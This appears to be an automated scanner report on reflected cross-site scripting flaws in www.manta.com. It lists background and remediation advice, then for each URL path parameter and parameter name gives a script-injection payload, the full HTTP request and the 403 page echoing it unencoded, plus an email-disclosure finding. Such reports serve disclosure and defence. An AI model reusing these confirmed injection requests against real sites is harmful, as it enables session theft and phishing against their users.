Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload e1ff4<script>alert(1)</script>61a86b8da5d was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /ce1ff4<script>alert(1)</script>61a86b8da5d/mmnvnkn/permission-interactive-inc HTTP/1.1 Host: www.manta.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 403 Access Denied Server: nginx/0.7.62 Date: Sun, 02 Jan 2011 13:47:31 GMT Content-Type: text/html Connection: close Vary: Accept-Encoding Content-Length: 4762 X-Varnish: 2242735319 Via: 1.1 varnish X-Served-By: ecnext41 X-Cache: MISS
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-T ...[SNIP]... <br> Access Denied: http://www.manta.com/ce1ff4<script>alert(1)</script>61a86b8da5d/mmnvnkn/permission-interactive-inc at Sun Jan 2 13:47:31 2011 +0000 from 174.121.222.18<br> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 10f3b"><script>alert(1)</script>e302c1c148d was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /c10f3b"><script>alert(1)</script>e302c1c148d/mmnvnkn/permission-interactive-inc HTTP/1.1 Host: www.manta.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 403 Access Denied Server: nginx/0.7.62 Date: Sun, 02 Jan 2011 13:47:31 GMT Content-Type: text/html Connection: close Vary: Accept-Encoding Content-Length: 4766 X-Varnish: 2242735303 Via: 1.1 varnish X-Served-By: ecnext41 X-Cache: MISS
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-T ...[SNIP]... <a href="mailto:webmaster@ecnext.com?subject=403 error&body=Access Denied: http://www.manta.com/c10f3b"><script>alert(1)</script>e302c1c148d/mmnvnkn/permission-interactive-inc at Sun Jan 2 13:47:31 2011 +0000 from 174.121.222.18"> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b4ec9"><script>alert(1)</script>bfbd7c90985 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /c/mmnvnknb4ec9"><script>alert(1)</script>bfbd7c90985/permission-interactive-inc HTTP/1.1 Host: www.manta.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 403 Access Denied Server: nginx/0.7.62 Date: Sun, 02 Jan 2011 13:47:32 GMT Content-Type: text/html Connection: close Vary: Accept-Encoding Content-Length: 4766 X-Varnish: 1489120742 Via: 1.1 varnish X-Served-By: ecnext42 X-Cache: MISS
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-T ...[SNIP]... <a href="mailto:webmaster@ecnext.com?subject=403 error&body=Access Denied: http://www.manta.com/c/mmnvnknb4ec9"><script>alert(1)</script>bfbd7c90985/permission-interactive-inc at Sun Jan 2 13:47:32 2011 +0000 from 174.121.222.18"> ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 17f12<script>alert(1)</script>4b222591026 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /c/mmnvnkn17f12<script>alert(1)</script>4b222591026/permission-interactive-inc HTTP/1.1 Host: www.manta.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 403 Access Denied Server: nginx/0.7.62 Date: Sun, 02 Jan 2011 13:47:32 GMT Content-Type: text/html Connection: close Vary: Accept-Encoding Content-Length: 4762 X-Varnish: 1524614120 Via: 1.1 varnish X-Served-By: ecnext43 X-Cache: MISS
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-T ...[SNIP]... <br> Access Denied: http://www.manta.com/c/mmnvnkn17f12<script>alert(1)</script>4b222591026/permission-interactive-inc at Sun Jan 2 13:47:32 2011 +0000 from 174.121.222.18<br> ...[SNIP]...
The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload 18f93<script>alert(1)</script>9f4417252eb was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /c/mmnvnkn/permission-interactive-inc18f93<script>alert(1)</script>9f4417252eb HTTP/1.1 Host: www.manta.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 403 Access Denied Server: nginx/0.7.62 Date: Sun, 02 Jan 2011 13:47:33 GMT Content-Type: text/html Connection: close Vary: Accept-Encoding Content-Length: 4762 X-Varnish: 2242735425 Via: 1.1 varnish X-Served-By: ecnext41 X-Cache: MISS
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-T ...[SNIP]... <br> Access Denied: http://www.manta.com/c/mmnvnkn/permission-interactive-inc18f93<script>alert(1)</script>9f4417252eb at Sun Jan 2 13:47:33 2011 +0000 from 174.121.222.18<br> ...[SNIP]...
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8b670"><script>alert(1)</script>c03a341f871 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /c/mmnvnkn/permission-interactive-inc8b670"><script>alert(1)</script>c03a341f871 HTTP/1.1 Host: www.manta.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 403 Access Denied Server: nginx/0.7.62 Date: Sun, 02 Jan 2011 13:47:33 GMT Content-Type: text/html Connection: close Vary: Accept-Encoding Content-Length: 4766 X-Varnish: 1524614166 Via: 1.1 varnish X-Served-By: ecnext43 X-Cache: MISS
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-T ...[SNIP]... <a href="mailto:webmaster@ecnext.com?subject=403 error&body=Access Denied: http://www.manta.com/c/mmnvnkn/permission-interactive-inc8b670"><script>alert(1)</script>c03a341f871 at Sun Jan 2 13:47:33 2011 +0000 from 174.121.222.18"> ...[SNIP]...
1.7. http://www.manta.com/c/mmnvnkn/permission-interactive-inc [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.manta.com
Path:
/c/mmnvnkn/permission-interactive-inc
Issue detail
The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload 1846d<script>alert(1)</script>d5db81d7305 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /c/mmnvnkn/permission-interactive-inc?1846d<script>alert(1)</script>d5db81d7305=1 HTTP/1.1 Host: www.manta.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 403 Access Denied Server: nginx/0.7.62 Date: Sun, 02 Jan 2011 13:47:29 GMT Content-Type: text/html Connection: close Vary: Accept-Encoding Content-Length: 4768 X-Varnish: 1489120565 Via: 1.1 varnish X-Served-By: ecnext42 X-Cache: MISS
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-T ...[SNIP]... <br> Access Denied: http://www.manta.com/c/mmnvnkn/permission-interactive-inc?1846d<script>alert(1)</script>d5db81d7305=1 at Sun Jan 2 13:47:29 2011 +0000 from 174.121.222.18<br> ...[SNIP]...
1.8. http://www.manta.com/c/mmnvnkn/permission-interactive-inc [name of an arbitrarily supplied request parameter]previous
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.manta.com
Path:
/c/mmnvnkn/permission-interactive-inc
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 541ad"><script>alert(1)</script>2b234ab2a54 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /c/mmnvnkn/permission-interactive-inc?541ad"><script>alert(1)</script>2b234ab2a54=1 HTTP/1.1 Host: www.manta.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 403 Access Denied Server: nginx/0.7.62 Date: Sun, 02 Jan 2011 13:47:28 GMT Content-Type: text/html Connection: close Vary: Accept-Encoding Content-Length: 4772 X-Varnish: 1489120546 Via: 1.1 varnish X-Served-By: ecnext42 X-Cache: MISS
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-T ...[SNIP]... <a href="mailto:webmaster@ecnext.com?subject=403 error&body=Access Denied: http://www.manta.com/c/mmnvnkn/permission-interactive-inc?541ad"><script>alert(1)</script>2b234ab2a54=1 at Sun Jan 2 13:47:28 2011 +0000 from 174.121.222.18"> ...[SNIP]...
The following email address was disclosed in the response:
webmaster@ecnext.com
Issue background
The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.
However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.
Issue remediation
You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).
Request
GET /c/mmnvnkn/permission-interactive-inc HTTP/1.1 Host: www.manta.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 403 Access Denied Server: nginx/0.7.62 Date: Sun, 02 Jan 2011 13:47:27 GMT Content-Type: text/html Connection: close Vary: Accept-Encoding Content-Length: 4680 X-Varnish: 1489120468 Via: 1.1 varnish X-Served-By: ecnext42 X-Cache: MISS
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-T ...[SNIP]... <a href="mailto:webmaster@ecnext.com?subject=403 error&body=Access Denied: http://www.manta.com/c/mmnvnkn/permission-interactive-inc at Sun Jan 2 13:47:27 2011 +0000 from 174.121.222.18">webmaster@ecnext.com</a> ...[SNIP]...
Report generated by XSS.CX at Sun Jan 02 07:52:26 CST 2011.